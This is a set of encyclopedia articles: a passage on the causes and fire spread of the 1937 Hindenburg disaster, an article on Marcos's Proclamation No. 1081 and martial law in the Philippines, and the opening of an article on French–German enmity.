But even as the voltage of the airship's frame dropped, the voltage at its outer skin would have remained largely unchanged, due to its isolation from the rest of the airship. Thus, the voltage difference between frame and skin would have grown dramatically, greatly increasing the risk of a spark. Yet, significantly, the fire didn't erupt until four minutes later, raising the question of what could account for such a delay. From his experiments, Dr. Giapis theorizes that during the landing, the Hindenburg behaved like a capacitor — actually an array of them — in an electrical circuit. (In his analogy, one of the two conductive plates of each "capacitor" is represented by a panel of the airship's charged outer skin, the other plate by the grounded portion of the airship.) Further, Giapis finds that the Cellon dope painted on the fabric skin acted like a capacitor's dielectric, increasing the skin's ability to hold charge beyond what it held before the airship became grounded — which he says would explain the delay in spark formation. Once the ropes dropped, charge would continue building on the skin and, according to his calculations, the additional time required to produce a spark would be slightly under four minutes, in close agreement with the investigation report. Giapis believes that there were likely many sparks occurring on the airship at the time of the accident, and that it was one near the hydrogen leak that triggered the fire. Additionally, he demonstrates experimentally that rain was a necessary component of the Hindenburg disaster, showing that the airship's skin would not have conducted electricity when dry, but that adding water to the skin increases its conductivity, allowing electric charge to flow through it, setting off sparks across gaps between skin and frame.
Lightning hypothesis
A. J. Dessler, former director of the Space Science Laboratory at NASA's Marshall Space Flight Center and a critic of the incendiary paint hypothesis (see below), favors a much simpler explanation for the conflagration: lightning. Like many other aircraft, the Hindenburg had been struck by lightning several times in its years of operation. This does not normally ignite a fire in hydrogen-filled airships due to the lack of oxygen. However, airship fires have been observed when lightning strikes the vehicle as it vents hydrogen as ballast in preparation for landing. The vented hydrogen mixes with the oxygen in the atmosphere, creating a combustible mixture. The Hindenburg was venting hydrogen at the time of the disaster.
However, witnesses did not observe any lightning storms as the ship made its final approach.
Engine failure hypothesis
On the 70th anniversary of the accident, The Philadelphia Inquirer carried an article with yet another hypothesis, based on an interview of ground crew member Robert Buchanan. He had been a young man on the crew manning the mooring lines.
As the airship was approaching the mooring mast, he noted that one of the engines, thrown into reverse for a hard turn, backfired, and a shower of sparks was emitted. After being interviewed by Addison Bain, Buchanan believed that the airship's outer skin was ignited by engine sparks. Another ground crewman, Robert Shaw, saw a blue ring behind the tail fin and had also seen sparks coming out of the engine. Shaw believed that the blue ring he saw was leaking hydrogen which was ignited by the engine sparks.
Eckener rejected the idea that hydrogen could have been ignited by an engine backfire, postulating that the hydrogen could not have been ignited by any exhaust because the temperature is too low to ignite the hydrogen. The ignition temperature for hydrogen is , but the sparks from the exhaust only reach . The Zeppelin Company also carried out extensive tests and hydrogen had never ignited. Additionally, the fire was first seen at the top of the airship, not near the bottom of the hull.
Fire's initial fuel
Most current analyses of the fire assume ignition due to some form of electricity as the cause. However, there is still much controversy over whether the fabric skin of the airship, or the hydrogen used for buoyancy, was the initial fuel for the resulting fire.
Static spark hypothesis
The theory that hydrogen was ignited by a static spark is the most widely accepted theory as determined by the official crash investigations. Offering support for the hypothesis that there was some sort of hydrogen leak prior to the fire is that the airship remained stern-heavy before landing, despite efforts to put the airship back in trim. This could have been caused by a leak of the gas, which started mixing with air, potentially creating a form of oxyhydrogen and filling up the space between the skin and the cells. A ground crew member, R.H. Ward, reported seeing the fabric cover of the upper port side of the airship fluttering, "as if gas was rising and escaping" from the cell. He said that the fire began there, but that no other disturbance occurred at the time when the fabric fluttered. Another man on the top of the mooring mast had also reported seeing a flutter in the fabric as well. Pictures that show the fire burning along straight lines that coincide with the boundaries of gas cells suggest that the fire was not burning along the skin, which was continuous. Crew members stationed in the stern reported actually seeing the cells burning.
Two main theories have been postulated as to how gas could have leaked. Eckener believed a snapped bracing wire had torn a gas cell open (see below), while others suggest that a maneuvering or automatic gas valve was stuck open and gas from cell 4 leaked through. During the airship's first flight to Rio, a gas cell was nearly emptied when an automatic valve was stuck open, and gas had to be transferred from other cells to maintain an even keel. However, no other valve failures were reported during the ship's flight history, and on the final approach there was no indication in instruments that a valve had stuck open.
Although some opponents of this theory claim that the hydrogen was odorized with garlic, it would have been detectable only in the area of a leak. Once the fire was underway, more powerful odors would have masked any garlic scent. No reports of anyone smelling garlic during the flight surfaced and no official documents have been found to prove that the hydrogen was even odorized.
Opponents of this hypothesis note that the fire was reported as burning bright red, while pure hydrogen burns blue if it is visible at all, although many other materials were consumed by the fire which could have changed its hue.
Some of the airshipmen at the time, including Captain Pruss, asserted that the stern heaviness was normal, since aerodynamic pressure would push rainwater towards the stern of the airship. The stern heaviness was also noticed minutes before the airship made its sharp turns for its approach (ruling out the snapped wire theory as the cause of the stern heaviness), and some crew members stated that it was corrected as the ship stopped (after sending six men into the bow section of the ship). Additionally, the gas cells of the ship were not pressurized, and a leak would not cause the fluttering of the outer cover, which was not seen until seconds before the fire. However, reports of the amount of rain the ship had collected have been inconsistent. Several witnesses testified that there was no rain as the ship approached until a light rain fell minutes before the fire, while several crew members stated that before the approach the ship did encounter heavy rain. Albert Sammt, the ship's first officer who oversaw the measures to correct the stern-heaviness, initially attributed to fuel consumption and sending crewmen to their landing stations in the stern, though years later, he would assert that a leak of hydrogen had occurred. On its final approach the rainwater may have evaporated and may not completely account for the observed stern-heaviness, as the airship should have been in good trim ten minutes after passing through rain. Eckener noted that the stern heaviness was significant enough that 70,000 kilogram·meter (506,391 foot-pounds) of trimming was needed.
Incendiary paint hypothesis
The incendiary paint theory (IPT) was proposed in 1996 by retired NASA scientist Addison Bain, stating that the doping compound of the airship was the cause of the fire, and that the Hindenburg would have burned even if it were filled with helium. The hypothesis is limited to the source of ignition and to the flame front propagation, not to the source of most of the burning material, as once the fire started and spread the hydrogen clearly must have burned (although some proponents of the incendiary paint theory claim that hydrogen burned much later in the fire or that it otherwise did not contribute to the rapid spread of the fire). The incendiary paint hypothesis asserts that the major component in starting the fire and feeding its spread was the canvas skin because of the compound used on it.
Proponents of this hypothesis argue that the coatings on the fabric contained both iron oxide and aluminum-impregnated cellulose acetate butyrate (CAB) which remain potentially reactive even after fully setting. Iron oxide and aluminum can be used as components of solid rocket fuel or thermite. For example, the propellant for the Space Shuttle solid rocket booster included both "aluminum (fuel, 16%), (and) iron oxide (a catalyst, 0.4%)". The coating applied to the Hindenburgs covering did not have a sufficient quantity of any material capable of acting as an oxidizer, which is a necessary component of rocket fuel, however, oxygen is also available from the air.
Bain received permission from the German government to search their archives and discovered evidence that, during the Nazi regime, German scientists concluded the dope on the Hindenburg's fabric skin was the cause of the conflagration. Bain interviewed the wife of the investigation's lead scientist Max Dieckmann, and she stated that her husband had told her about the conclusion and instructed her to tell no one, presumably because it would have embarrassed the Nazi government. Additionally, Dieckmann concluded that it was the poor conductivity, not the flammability of the doping compound, that led to the ignition of hydrogen. However, Otto Beyersdorff, an independent investigator hired by the Zeppelin Company, asserted that the outer skin itself was flammable. In several television shows, Bain attempted to prove the flammability of the fabric by igniting it with either an open flame or a Jacob's Ladder machine. Although Bain's fabric ignited, critics argue that Bain had to correctly position the fabric parallel to a machine with a continuous electric current inconsistent with atmospheric conditions. In response to this criticism, the IPT therefore postulates that a spark would need to be parallel to the surface, and that "panel-to-panel arcing" occurs where the spark moves between panels of paint isolated from each other. Astrophysicist Alexander J. Dessler points out a static spark does not have sufficient energy to ignite the doping compound, and that the insulating properties of the doping compound prevents a parallel spark path through it. Additionally, Dessler contends that the skin would also be electrically conductive in the wet and damp conditions before the fire.
Critics also argue that port side witnesses on the field, as well as crew members stationed in the stern, saw a glow inside Cell 4 before any fire broke out of the skin, indicating that the fire began inside the airship or that after the hydrogen ignited, the invisible fire fed on the gas cell material. Newsreel footage clearly shows that the fire was burning inside the structure.
Proponents of the paint hypothesis claim that the glow is actually the fire igniting on the starboard side, as seen by some other witnesses. From two eyewitness statements, Bain asserts the fire began near cell 1 behind the tail fins and spread forward before it was seen by witnesses on the port side. However, photographs of the early stages of the fire show the gas cells of the Hindenburg's entire aft section fully aflame, and no glow is seen through the areas where the fabric is still intact. Burning gas spewing upward from the top of the airship was causing low pressure inside, allowing atmospheric pressure to press the skin inwards.
Occasionally, the Hindenburg varnish is incorrectly identified as, or stated being similar to, cellulose nitrate which, like most nitrates, burns very readily. Instead, the cellulose acetate butyrate (CAB) used to seal the zeppelin's skin is rated by the plastics industry as combustible but nonflammable. That is, it will burn if placed within a fire but is not readily ignited. Not all fabric on the Hindenburg burned. For example, the fabric on the port and starboard tail fins was not completely consumed. That the fabric not near the hydrogen fire did not burn is not consistent with the "explosive" dope hypothesis.
The TV show MythBusters explored the incendiary paint hypothesis. Their findings indicated that the aluminum and iron oxide ratios in the Hindenburg's skin, while certainly flammable, were not enough on their own to destroy the zeppelin. Had the skin contained enough metal to produce pure thermite, the Hindenburg would have been too heavy to fly. The MythBusters team also discovered that the Hindenburg coated skin had a higher ignition temperature than that of untreated material, and that it would initially burn slowly, but that after some time the fire would begin to accelerate considerably with some indication of a thermite reaction. From this, they concluded that those arguing against the incendiary paint theory may have been wrong about the airship's skin not forming thermite due to the compounds being separated in different layers. Despite this, the skin alone would burn too slowly to account for the rapid spread of the fire, as it would have taken four times the speed for the ship to burn. The MythBusters concluded that the paint may have contributed to the disaster, but that it was not the sole reason for such rapid combustion.
Puncture hypothesis
Although Captain Pruss believed that the Hindenburg could withstand tight turns without significant damage, proponents of the puncture hypothesis, including Hugo Eckener, question the airship's structural integrity after being repeatedly stressed over its flight record.
The airship did not receive much in the way of routine inspections even though there was evidence of at least some damage on previous flights. It is not known whether that damage was properly repaired or even whether all the failures had been found. During the ship's first return flight from Rio, Hindenburg had once lost an engine and almost drifted over Africa, where it could have crashed. Afterwards, Eckener ordered section chiefs to inspect the airship during flight. However, the complexity of the airship's structure would make it virtually impossible to detect all weaknesses in the structure. In March 1936, the Hindenburg and the Graf Zeppelin made three-day flights to drop leaflets and broadcast speeches via loudspeaker. Before the airship's takeoff on March 26, 1936, Ernst Lehmann chose to launch the Hindenburg with the wind blowing from behind the airship, instead of into the wind as per standard procedure. During the takeoff, the airship's tail struck the ground, and part of the lower fin was broken. Although that damage was repaired, the force of the impact may have caused internal damage. Only six days before the disaster, it was planned to make the Hindenburg have a hook on her hull to carry aircraft, similar to the US Navy's use of the USS Akron and the USS Macon airships. However, the trials were unsuccessful as the biplane hit the Hindenburgs trapeze several times. The structure of the airship may have been further affected by this incident.
Newsreels, as well as the map of the landing approach, show that the Hindenburg made several sharp turns, first towards port and then starboard, just before the accident. Proponents posit that either of these turns could have weakened the structure near the vertical fins, causing a bracing wire to snap and puncture at least one of the internal gas cells. Additionally, some of the bracing wires may have even been substandard. One bracing wire tested after the crash broke at a mere 70% of its rated load. A punctured cell would have freed hydrogen into the air and could have been ignited by a static discharge (see above), or it is also possible that the broken bracing wire struck a girder, causing sparks to ignite hydrogen. When the fire started, people on board the airship reported hearing a muffled detonation, but outside, a ground crew member on the starboard side reported hearing a crack. Some speculate the sound was from a bracing wire snapping.
Eckener concluded that the puncture hypothesis, due to pilot error, was the most likely explanation for the disaster. He held Captains Pruss and Lehmann, and Charles Rosendahl responsible for what he viewed as a rushed landing procedure with the airship badly out of trim under poor weather conditions. Pruss had made the sharp turn under Lehmann's pressure; while Rosendahl called the airship in for landing, believing the conditions were suitable. Eckener noted that a smaller storm front followed the thunderstorm front, creating conditions suitable for static sparks.
During the US inquiry, Eckener testified that he believed that the fire was caused by the ignition of hydrogen by a static spark:
However, the apparent stern heaviness during the landing approach was noticed thirty minutes before the landing approach, indicating that a gas leak resulting from a sharp turn did not cause the initial stern heaviness.
Fuel leak
The 2001 documentary Hindenburg Disaster: Probable Cause suggested that 16-year-old Bobby Rutan, who claimed that he had smelled "gasoline" when he was standing below the Hindenburg aft port engine, had detected a diesel fuel leak. During the investigation, Commander Charles Rosendahl dismissed the boy's report. The day before the disaster, a fuel pump had broken during the flight, but the chief engineer testified that the pump had been replaced. The resulting vapor of a diesel leak, in addition to the engines being overheated, would have been highly flammable and could have self-combusted.
However, the documentary makes numerous mistakes in assuming that the fire began in the keel. First, it implies that the crewmen in the lower fin had seen the fire start in the keel and that Hans Freund and Helmut Lau looked towards the front of the airship to see the fire, when Freund was actually looking rearward when the fire started. Most witnesses on the ground reported seeing flames at the top of the ship, but the only location where a fuel leak could have a potential ignition source is the engines. Additionally, while investigators in the documentary suggest it is possible for a fire in the keel to go unnoticed until it breaks the top section, other investigators such as Greg Feith consider it unlikely because the only point diesel comes into contact with hot surfaces are the engines.
Rate of flame propagation
Regardless of the source of ignition or the initial fuel for the fire, there remains the question of what caused the rapid spread of flames along the length of the airship, with debate again centered on the fabric covering of the airship and the hydrogen used for buoyancy.
Proponents of both the incendiary paint hypothesis and the hydrogen hypothesis agree that the fabric coatings were probably responsible for the rapid spread of the fire. The combustion of hydrogen is not usually visible to the human eye in daylight, because most of its radiation is not in the visible portion of the spectrum but rather ultraviolet. However, black-and-white photographic film of the era had a different light sensitivity spectrum than the human eye, and was sensitive farther out into the infrared and ultraviolet regions than the human eye. While hydrogen tends to burn invisibly, the materials around it, if combustible, would change the color of the fire.
The motion picture films show the fire spreading downward along the skin of the airship. While fires generally tend to burn upward, especially including hydrogen fires, the enormous radiant heat from the blaze would have quickly spread fire over the entire surface of the airship, thus apparently explaining the downward propagation of the flames. Falling, burning debris would also appear as downward streaks of fire.
Those skeptical of the incendiary paint hypothesis cite recent technical papers which claim that even if the airship had been coated with actual rocket fuel, it would have taken many hours to burn – not the 32 to 37 seconds that it actually took.
Modern experiments that recreated the fabric and coating materials of the Hindenburg seem to discredit the incendiary fabric hypothesis. They conclude that it would have taken about 40 hours for the Hindenburg to burn if the fire had been driven by combustible fabric. Two additional scientific papers also strongly reject the fabric hypothesis. However, the MythBusters Hindenburg special seemed to indicate that while the hydrogen was the dominant driving force the burning fabric doping was significant with differences in how each burned visible in the original footage.
The most conclusive proof against the fabric hypothesis is in the photographs of the actual accident as well as the many airships which were not doped with aluminum powder and still exploded violently. When a single gas cell explodes, it creates a shock wave and heat. The shock wave tends to rip nearby bags which then explode themselves. In the case of the Ahlhorn disaster on January 5, 1918, explosions of airships in one hangar caused the explosions of others in three adjoining hangars, wiping out all five Zeppelins at the base.
The photos of the Hindenburg disaster clearly show that after the cells in the aft section of the airship exploded and the combustion products were vented out the top of the airship, the fabric on the rear section was still largely intact, and air pressure from the outside was acting upon it, caving the sides of the airship inward due to the reduction of pressure caused by the venting of combustion gases out the top.
The loss of lift at the rear caused the airship to nose up suddenly and the back to break in half (the airship was still in one piece), at that time the primary mode for the fire to spread was along the axial gangway which acted as a chimney, conducting fire which burst out the nose as the airship's tail touched the ground, and as seen in one of the most famous pictures of the disaster.
Memorial
The actual site of the Hindenburg crash is at the Lakehurst Naval entity of Joint Base McGuire–Dix–Lakehurst. It is marked with a chain-outlined pad and bronze plaque where the airship's gondola landed. It was dedicated on May 6, 1987, the 50th anniversary of the disaster. Hangar No. 1, which still stands, is where the airship was to be housed after landing. It was designated a National Historic Landmark in 1968. Pre-registered tours are held through the Navy Lakehurst Historical Society.
See also
Crash cover
Hindenburg disaster in popular culture
Hindenburg disaster newsreel footage
Hindenburg: The Untold Story, a docudrama aired on the 70th anniversary of the disaster, May 6, 2007
List of photographs considered the most important
Albert Sammt
Timeline of hydrogen technologies
Helium Act of 1925
Notes
References
Bibliography
Further reading
Lawson, Don. Engineering Disasters: Lessons to Be Learned. New York: ASME Press, 2005. .
External links
Video
Actual film footage of Hindenburg disaster
PBS Secrets of the Dead: Hindenburg's Fatal Flaws
YouTube video: Universal Newsreel – May 10, 1937 Special report on the Hindenburg disaster.
YouTube video of Herb Morrison's famous report synchronized with newsreel footage
YouTube Video: Hindenburg Disaster Color Restored in 4K Color
PBS Nova: Hindenburg: The New Evidence
Articles and reports
Hindenburg disaster – Original reports from The Times (London)
The Hindenburg Makes Her Last Standing at Lakehurst – Life magazine article from 1937
The Hindenburg Disaster – Report of the FBI investigation
The Hindenburg 75 years later: Memories time cannot erase – NJ.com/Star-Ledger article on the 75th anniversary of the Hindenburg disaster
Radio Gives Fast Zeppelin Coverage – Broadcasting Magazine. p. 14. (May 15, 1937) article on how radio reported the Hindenburg disaster
Under Fire! – WLS Stand By magazine (May 15, 1937) article on Herb Morrison and his engineer Charlie Nehlsen reporting the Hindenburg disaster
Web sites
Rocket Fuel, Thermite, and Hydrogen: Myths about the Hindenburg Crash
Airships.net: Discussion of Hindenburg Crash
"Hindenburg & Hydrogen" by Dr. Karl Kruszelnicki
The Hindenburg and Hydrogen: Nonsense from Dr. Karl Kruszelnicki – A rebuttal to the prior article
Thirty-Two Seconds – Article that features rare photos of the disaster, a photograph of the surviving crew and a report on Cabin Boy Werner Franz
Faces of the Hindenburg: Biographies and photographs of the survivors and victims of the final voyage
Flammable fabric disaster hypothesis
Two Articles Rejecting the Flammable Fabric Hypothesis
1937 fires in the United States
1937 in New Jersey
Accidents and incidents involving balloons and airships
Airliner accidents and incidents involving in-flight explosions
Articles containing video clips
Aviation accidents and incidents in New Jersey
Aviation accidents and incidents in the United States in 1937
Death in New Jersey
Engineering failures
Filmed deaths from falls
Fires in New Jersey
Disaster
May 1937 events
Ocean County, New Jersey
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https://en.wikipedia.org/wiki/Proclamation%20No.%201081
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Proclamation No. 1081
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Proclamation No. 1081 was the document which contained formal proclamation of martial law in the Philippines by President Ferdinand Marcos, as announced to the public on September 23, 1972.
The proclamation marked the beginning of a 14-year period of authoritarian rule, which would include 8 years of Martial Law (ending on January 17, 1981, through Proclamation No. 2045), followed by six more years where Marcos retained essentially all of his powers as dictator.
Marcos was finally ousted on February 25, 1986, as a result of the EDSA People Power Revolution.
Reasons
Numerous explanations have been put forward as reasons for Marcos to declare martial law in September 1972, some of which were presented by the Marcos administration as official justifications, and some of which were dissenting perspectives put forward by either the mainstream political opposition or by analysts studying the political economy of the decision.
Official justifications
In his 1987 treatise, "Dictatorship & Martial Law: Philippine Authoritarianism in 1972", University of the Philippines Public Administration Professor Alex Brillantes Jr. identifies three reasons expressed by the Marcos administration, saying that martial law:
was a response to various leftist and rightist plots against the Marcos administration;
was just the consequence of political decay after American-style democracy failed to take root in Philippine society; and
was a reflection of Filipino society's history of authoritarianism and supposed need for iron-fisted leadership.
The first two justifications were explicitly stated in the proclamation, which cited two explicit justifications: "to save the republic" (from various plots); and "to reform society" (after the failure of American-style democracy). The third rationalization arose from the administration's propaganda, which portrayed Ferdinand Marcos as a hypermasculine figure able to compel the obedience of supposedly "spoiled" Filipinos.
Incidents cited
Dissenting perspectives
Dissenting perspectives from the political mainstream
Opposition to Marcos' declaration of martial law ran the whole gamut of Philippine society - ranging from impoverished peasants whom the administration tried to chase out of their homes; to the Philippines' political old-guard, whom Marcos had tried to displace from power; to academics and economists who disagreed with the specifics of Marcos' martial law policies. All of these, regardless of their social position or policy beliefs, subscribed to the interpretation that Marcos declared martial law:
as a strategy to enable Ferdinand Marcos to stay in power past the two Presidential terms allowed for him under Philippine Constitution of 1935
as a technique for covering up the already amassed, and would-be still amassed, ill-gotten wealth of Marcos, his family, and his cronies.
Dissenting economic interpretations
In addition, some critics ascribe an economic component to Marcos' motivations, suggesting that martial law:
was an acquiescence to the global market system, which required tight control of sociopolitical systems so that the country's resources could be exploited efficiently;
was a product of the infighting among the families that formed the upper socioeconomic class of Philippine society; and
was a connivance between the state powers and the upper-class families to keep the members of the country's lower classes from becoming too powerful.
Background
Philippine Military Academy instructor Lt. Victor Corpuz led New People's Army rebels in a raid on the PMA armory, capturing rifles, machine guns, grenade launchers, a bazooka and thousands of rounds of ammunition in 1970. In 1972, China, which was then actively supporting and arming communist insurgencies in Asia as part of Mao Zedong's People's War Doctrine, smuggled 1,200 M-14 and AK-47 rifles aboard the MV Karagatan for the NPA to speed up NPA's campaign to defeat the government. Prior to 1975, the Philippine government maintained a close relationship with the Kuomintang-ruled Chinese government which fled to Taiwan (Republic of China), despite the Chinese communist victory in 1949, and saw the People's Republic of China as a security threat due to its financial and military support of communist rebels in the country.
Citing an intensifying communist insurgency, a series of bombings, and the staged fake assassination attempt on then-Defense Minister Juan Ponce Enrile, President Marcos enacted the proclamation which enabled him to rule by military power. It was later revealed that on September 22, 1972, at 8:00 p.m., exactly a day after Marcos signed Proclamation No. 1081, Enrile exited his car beside an electrical post near Wack-Wack village, on the way to Enrile's exclusive subdivision of Dasmariñas Village. Another car stopped beside it and gunmen exited the vehicle and immediately fired bullets at Enrile's car. This was the basis for Marcos's September 23 televised announcement of martial law at 7:15 p.m.
Preparation of the document
While some historians believe Marcos' logistical and political preparations for proclaiming Martial Law began as early as 1965, when he took up the Defense Secretary portfolio for himself in an effort to curry the loyalty of the armed forces hierarchy, the preparation for the actual document which became Proclamation 1081 began in December 1969, in the wake of Marcos' expensive 1969 presidential reelection bid. Marcos approached at least two different factions within his cabinet to study how the implementation of martial law should be structured in the proclamation.
Melchor and Almonte study
Some time in December 1969, Marcos asked Executive Secretary Alejandro Melchor and Melchor's aide-de-camp at the time, Major Jose Almonte, to study the different ways Martial Law had been implemented throughout the world, and the repercussions that might come from declaring it in the Philippines. The study submitted by Melchor and Almonte said that "while Martial Law may accelerate development, in the end the Philippines would become a political archipelago, with debilitating, factionalized politics."
In Almonte, who would eventually become head of the head of the National Intelligence Coordinating Agency under President Corazon Aquino and later National Security Advisor to her successor, President Fidel Ramos, recalled in a 2015 memoir that he felt "the nation would be destroyed because, apart from the divisiveness it would cause, Martial Law would offer Marcos absolute power which would corrupt absolutely."
Enrile study and draft of proclamation documents
Marcos, who kept up a strategy of keeping cabinet members from becoming too powerful by giving different factions different facts and redundant orders, also gave a similar task to Justice Secretary Juan Ponce Enrile that December. This time, he specifically asked what powers the 1935 Constitution would grant the President upon the declaration of Martial Law. According to Enrile's 2012 memoir, Marcos emphasized that "the study must be done discreetly and confidentially." With help from Efren Plana and Minerva Gonzaga Reyes, Enrile submitted the only copy of his confidential report to Marcos in January 1970.
A week after Enrile submitted his study, Marcos asked him to prepare the needed documents for implementing Martial Law in the Philippines.
Signing of Proclamation No. 1081
Several conflicting accounts exist regarding the exact date on which Marcos signed the physical Proclamation No. 1081 document. Differing accounts suggest that Marcos signed the document as early as September 10, 1972, or as late as September 25, 1972, regardless Marcos formally listed September 21 as the day of the formalization of Proclamation No. 1081.
As early as September 13, 1972, Sen. Benigno "Ninoy" Aquino broke the news of a secret plan called "Oplan Sagittarius", which would declare martial law and was as widely condemned by Filipinos as the ongoing Watergate scandal in the United States. He would later have a speech on September 21, 1972, in front of the Senate to recount the true role of the Congress. The congress would decide to have a sine die adjournment, or a final session on September 23, 1972. Later that afternoon, a large rally attended by 50,000 people at Plaza Miranda denounced Oplan Sagittarius and was held by the Movement of Concerned Citizens for Civil Liberties (MCCCL), headed by Sen. Jose W. Diokno, who left the Nacionalista Party, the political party of Marcos to rally against the controversial decisions of the administration. This was the largest rally out of a series of protests from the previous year, due to many scandals by Pres. Marcos beginning with the Jabidah Massacre in 1968 and the 1969 elections, considered by experts to be the "dirtiest election in (Philippine) history." Proclamation No. 1081 was formally dated September 21 according to historians because of these events as well as Marcos's superstition and numerological belief concerning multiples of the lucky number seven. The Official Gazette of the republic of the Philippines, in a retrospective article on Marcos' proclamation of Martial Law, comments on the differences in the accounts: "Whether they conflict or not, all accounts indicate that Marcos’ obsession with numerology (particularly the number seven) necessitated that Proclamation No. 1081 be officially signed on a date that was divisible by seven. Thus, September 21, 1972 became the official date that Martial Law was established and the day that the Marcos dictatorship began. This also allowed Marcos to control history on his own terms."
Announcement of Martial Law
Reports from the Roberto Benedicto-owned Daily Express of Sen. Aquino declaring that he must be arrested by the president or he would escape to join the resistance surfaced on September 22, 1972. The staged assassination of Defense Minister Enrile and other men were held later that evening at 8:00 p.m. Finally by the morning of September 23, 1972, Martial Law forces had successfully implemented a media lockdown, with only outlets associated with Marcos crony Roberto Benedicto allowed to operate. In the afternoon, the Benedicto-owned television channel KBS-9 went back on air playing episodes of Hanna-Barbera's Wacky Races cartoon series, which was interrupted at 3:00 PM when Press Secretary Francisco Tatad went on air to read Proclamation No. 1081, through which Marcos declared Martial Law. Ferdinand Marcos himself made an appearance at his mansion, Malacañang Palace, at 7:15 p.m. that evening to formalize the announcement. On the following Morning, September 24, the headline of the Daily Express announced "FM Declares Martial Law" – the only newspaper to come out in the immediate aftermath of Martial Law.
Implementation of Martial Law
Marcos would declare September 21, 1972, as "National Thanksgiving Day", to erase the events of the MCCCL rally led by Sen. Diokno and the senate hearings presided by Sen. Aquino, which inadvertently created a whiplash effect of confusion as to the date of Marcos's television announcement, which was two days later on September 23.
Martial law was ratified by 90.77% of the voters during the controversial 1973 Philippine Martial Law referendum.
After the constitution was approved by 95% of the voters in the Philippine constitutional plebiscite, the 1935 Constitution was replaced with a new one that changed the system of government from a presidential to a parliamentary one, with Marcos remaining in power as both head of state (with the title "President") and head of government (titled "Prime Minister"). Under the new government, President Marcos formed his political coalition—the Kilusang Bagong Lipunan (KBL; English: New Society Movement)—to control the unicameral legislature he created, known as the Batasang Pambansa.
In an effort to isolate the local communist movement, President Marcos went to China in 1975 to normalize diplomatic relations. In return for recognizing the People's Republic of China as the legitimate government of China, and that Taiwan is part of Chinese territory, Chinese Premier Zhou Enlai pledged to stop supporting the Philippine communist rebels.
The government subsequently captured NPA leaders Bernabe Buscayno in 1976 and Jose Maria Sison in 1977. The Washington Post, in an interview with former Philippine Communist Party officials, revealed that, "they (local communist party officials) wound up languishing in China for 10 years as unwilling 'guests' of the (Chinese) government, feuding bitterly among themselves and with the party leadership in the Philippines".
Formal lifting
President Marcos formally lifted Martial Law on January 17, 1981, several weeks before the first pastoral visit of Pope John Paul II to the Philippines for the beatification of Lorenzo Ruiz. After the termination of Martial Law, the CPP-NPA was able to return to urban areas and form relationships with legal opposition organizations, and began increasingly successful attacks against the government throughout the country. Regardless, experts concluded that the dictatorship was still in effect despite the formal announcement, until the Philippine Church led by Jaime Sin and the Filipino Citizens' organized EDSA Revolution of 1986 forced the Marcoses out of Malacañang Palace.
General orders
General Order № 1 - The President proclaimed that he shall direct the entire government, including all its agencies and instrumentalities, and exercise all powers of his office including his role as the Commander-in-Chief of the Armed Forces of the Philippines.
General Order № 2 – The President directed the Minister of National Defense to arrest or cause the arrest and take into his custody the individuals named in the attached list and to hold them until otherwise so ordered by the President or by his duly designated representative, as well as to arrest or cause the arrest and take into his custody and to hold them otherwise ordered released by him or by his duly authorized representative such persons who may have committed crimes described in the Order.
General Order № 3 – The President ordered that all executive departments, bureaus, offices, agencies and instrumentalities of the National Government, government owned or controlled corporations, as well all governments of all the provinces, cities, municipalities and barrios should continue to function under their present officers and employees, until otherwise ordered by the President or by his duly designated representatives. The President further ordered that the Judiciary should continue to function in accordance with its present organization and personnel, and should try to decide in accordance with existing laws all criminal and civil cases, except certain cases enumerated in the Order.
General Order № 4 – The President ordered that a curfew be maintained and enforced throughout the Philippines from twelve o’clock midnight until four o’clock in the morning.
General Order № 5 – All rallies, demonstrations and other forms of group actions including strikes and picketing in vital industries such as in companies engaged in manufacture or processing as well as in production or processing of essential commodities or products for exports, and in companies engaged in banking of any kind, as well as in hospitals and in schools and colleges are prohibited.
General Order № 6 – No person shall keep, possess or carry outside of his residence any firearm unless such person is duly authorized to keep, possess or carry any such firearm except to those who are being sent abroad in the service of the Philippines.
See also
Martial law in the Philippines
1972 Philippines Martial law under Ferdinand Marcos
September 11, 2001, terrorist attacks
2007 Venezuelan RCTV protests
ABS-CBN franchise renewal controversy
Proclamation No. 216
October Yushin
Plaza Miranda bombing
Benigno Aquino Jr.
1978 Philippine parliamentary election
Dekada '70 (novel)
"Dekada '70", the film adaptation of above
References
External links
Full Text - Proclamation 1081
Bantayog ng mga Bayani – Monument to the Heroes & victims of martial law during the Marcos regime
The Martial Law Memorial Museum
The Martial Law Chronicles Project
40th anniversary of Martial Law
1972 in the Philippines
1972 in law
1972 documents
Emergency laws in the Philippines
Legal history of the Philippines
Political history of the Philippines
Political repression in the Philippines
Presidency of Ferdinand Marcos
No. 1081
1970s in the Philippines
1980s in the Philippines
September 1972 events in Asia
1972 establishments in the Philippines
1981 disestablishments in the Philippines
1970s coups d'état and coup attempts
Democratic backsliding
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https://en.wikipedia.org/wiki/French%E2%80%93German%20enmity
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French–German enmity
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French–German (Franco-German) enmity (, ) was the idea of unavoidably hostile relations and mutual revanchism between Germans (including Austrians) and French people that arose in the 16th century and became popular with the Franco-Prussian War of 1870–1871. It was an important factor in the unification of Germany (excluding Austria), World War I, and ended after World War II, when under the influence of the Cold War, West Germany and France both became part of NATO and the European Coal and Steel Community.
Supposed origins
The rivalry and cultural differences between Gauls and Germanic tribes – the pre-Roman cultures that gradually evolved into France and Germany – were noted by Julius Caesar in his On The Gallic War.
Romans, Carthaginians and many other cultures frequently employed Gaul tribesmen as guides and translators. The Gauls frequently raided Roman territory, most spectacularly in 390/387 BC (390 BC being the traditional and 387 BC a probable year), seizing Rome itself after the Battle of the Allia and accepting a sizeable ransom for the release of the city. Gaul itself had strategic importance both because of its geographic position as well as a source of revenue, mercenaries, and slaves.
The Germanic tribes, by contrast, remained more isolated and fractious. Germany lay farther from the Roman domain and was well-protected by the strong natural barriers of the Alps, the Rhine and Danube rivers, and the dense forests. Therefore, the expanding Roman Empire turned its attentions to Gaul first, culminating in Julius Caesar's conquest of Gaul in 50s BC.
Because of its closer proximity to Rome and less formidable geographic obstacles, Rome was able to consolidate its control of Gaul. For the next three centuries, until the Crisis of the Third Century, Gaul was an integral part of the Roman Empire. Gaul gradually became Romanized, its people adopting Roman customs and melding their own indigenous tongues with Latin to produce Old French, which through the Middle Ages evolved into French.
Germania, on the other hand, was never fully Romanized. Western Germany, known to the Romans as Germania, was not integrated into the Empire until the 1st century AD, and the Romans gave up trying to conquer and Romanize the eastern half of Germany after the disastrous Battle of Teutoburg Forest.
